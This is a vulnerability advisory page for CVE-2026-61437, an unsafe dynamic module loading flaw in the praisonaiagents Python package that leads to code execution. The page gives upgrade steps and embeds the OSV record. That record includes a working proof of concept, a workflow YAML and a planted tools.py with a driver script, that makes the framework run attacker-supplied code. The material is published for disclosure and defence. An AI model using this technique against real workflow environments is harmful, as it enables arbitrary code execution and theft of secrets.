CVE-2026-61437: PraisonAI Unsafe Dynamic Module Loading Leads Vulnerability
HIGHCVE-2026-61437 is a HIGH (CVSS 7.8) unsafe dynamic module loading leads vulnerability (CWE-829: Inclusion of Functionality from Untrusted Control Sphere) affecting PraisonAI libraries in the PyPI ecosystem. The issue involves unsafe dynamic module loading leads to arbitrary code execution via tools.py in agentflow. Remediation is available by upgrading affected packages to version 1.6.78.
CVE-2026-61437 at a Glance
Security Impact
CVSS: 7.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-61437
To remediate this vulnerability, upgrade all affected PraisonAI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install praisonaiagents>=1.6.78
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show praisonaiagents
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-61437, inspect your installed packages using pip:
pip show praisonaiagents
Analyze the terminal output to locate any version of PraisonAI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.6.78), your application is affected.
Note: The pip show praisonaiagents command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-829: Inclusion of Functionality from Untrusted Control Sphere, where the product imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere. In PraisonAI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-61437 Affected PraisonAI Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
praisonaiagents
|
PyPI |
< 1.6.78
|
1.6.78
|
References
Frequently Asked Questions
What is CVE-2026-61437?
Which PraisonAI versions are affected?
What version fixes CVE-2026-61437?
Is praisonaiagents affected?
What is the CVSS score of CVE-2026-61437?
What CWE is associated with CVE-2026-61437?
How can I check PyPI dependencies for CVE-2026-61437?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-4gfv-wg42-7jw5",
"modified" : "2026-10-08T16:48:57Z",
"published" : "2026-10-08T16:48:57Z",
"aliases" : [ "CVE-2026-61437" ],
"summary" : "PraisonAI: Unsafe Dynamic Module Loading Leads to Arbitrary Code Execution via tools.py in AgentFlow",
"details" : "### Summary\nAn unsafe dynamic module loading vulnerability allows an attacker who can control a workflow file and a sibling `tools.py` to execute arbitrary Python code when the workflow is executed.\n\n### Details\nThe vulnerability is located in the workflow structured output resolution logic.\n\nFile: src/praisonai-agents/praisonaiagents/workflows/workflows.py\n\nMethod: AgentFlow._resolve_pydantic_class\n\n```python\nif self.file_path:\n workflow_dir = Path(self.file_path).parent\n tools_path = workflow_dir / \"tools.py\"\n\n if tools_path.exists():\n spec = importlib.util.spec_from_file_location(\"tools\", tools_path)\n tools_module = importlib.util.module_from_spec(spec)\n spec.loader.exec_module(tools_module) # Arbitrary code execution\n```\n\nThis code is reached during step execution when a step uses a string `output_pydantic`:\n\n```python\nstep_output_pydantic = getattr(step, '_output_pydantic', None)\nif step_output_pydantic and isinstance(step_output_pydantic, str):\n resolved_class = self._resolve_pydantic_class(step_output_pydantic)\n```\n\n`file_path` is set automatically by:\n- `WorkflowManager._load_workflow()` (used by workspace discovery)\n- `WorkflowManager.create_workflow()`\n\nIt can also be set manually after `load_yaml()`:\n```python\nwf = mgr.load_yaml(\"workflow.yaml\")\nwf.file_path = \"workflow.yaml\"\n```\n\nThe `exec_module()` call has no sandboxing and ignores the `PRAISONAI_ALLOW_*_TOOLS` environment variables used elsewhere in the project.\n\n\n### PoC\nCreate the following two files in the same directory:\n\n`/tmp/attack/attack.yaml`\n```yaml\nname: AttackWorkflow\nsteps:\n - name: generate\n action: \"Produce structured output\"\n output_pydantic: MaliciousModel\n```\n\n`/tmp/attack/tools.py`\n```python\nprint(\"[RCE] Arbitrary code executed from tools.py\")\n\nimport os\nwith open(\"/tmp/rce_success.txt\", \"w\") as f:\n f.write(f\"RCE executed by PID {os.getpid()}\")\n\nclass MaliciousModel:\n @classmethod\n def model_json_schema(cls):\n return {\"type\": \"object\"}\n```\n\nRun the following Python code (adjust the path to your PraisonAI source):\n\n```python\nimport sys\nsys.path.insert(0, \"/home/user/praisonai/src/praisonai-agents\")\n\nfrom praisonaiagents.workflows import WorkflowManager\nfrom praisonaiagents.agent.agent import Agent\n\nmgr = WorkflowManager()\nwf = mgr.load_yaml(\"/tmp/attack/attack.yaml\")\n\nwf.file_path = \"/tmp/attack/attack.yaml\"\n\nfor step in wf.steps:\n step.output_pydantic = \"MaliciousModel\"\n step._output_pydantic = \"MaliciousModel\"\n if not getattr(step, \"agent\", None):\n step.agent = Agent(\n name=\"researcher\",\n role=\"Researcher\",\n goal=\"Generate output\",\n instructions=\"Return structured data\"\n )\n\nwf.start(\"trigger\")\n```\n\n### Impact\nType: Execution of Untrusted Local Code via Unsafe Dynamic Module Loading.\n\nAffected users include:\n\n- Users of `WorkflowManager(workspace_path=...)`, where workflow discovery automatically sets `file_path`.\n- Users of `WorkflowManager.create_workflow()`.\n- Applications that load workflows from repositories, templates, shared workflow collections, CI/CD artifacts, or other directories that may contain untrusted files.\n\nDuring workflow execution, a string `output_pydantic` reference causes the framework to automatically locate, import, and execute a sibling `tools.py` file.\n\nAs a result, code contained in `tools.py` executes with the privileges of the workflow runner without requiring an explicit import or user approval step.\n\nSuccessful exploitation results in arbitrary Python code execution within the workflow process. An attacker may be able to read local files, access secrets available to the process, modify workflow behavior, perform network operations, or execute additional system commands.\n\nThis behavior also bypasses the `PRAISONAI_ALLOW_TEMPLATE_TOOLS` / `PRAISONAI_ALLOW_LOCAL_TOOLS` protections used elsewhere in the project, allowing code execution through a separate workflow-resolution path.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "praisonaiagents"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.6.78"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 1.6.77"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-4gfv-wg42-7jw5"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-61437"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/MervinPraison/PraisonAI"
}, {
"type" : "WEB",
"url" : "https://www.vulncheck.com/advisories/praisonai-before-remote-code-execution-via-tools-py"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-693", "CWE-829" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-10-08T16:48:57Z",
"nvd_published_at" : null
}
}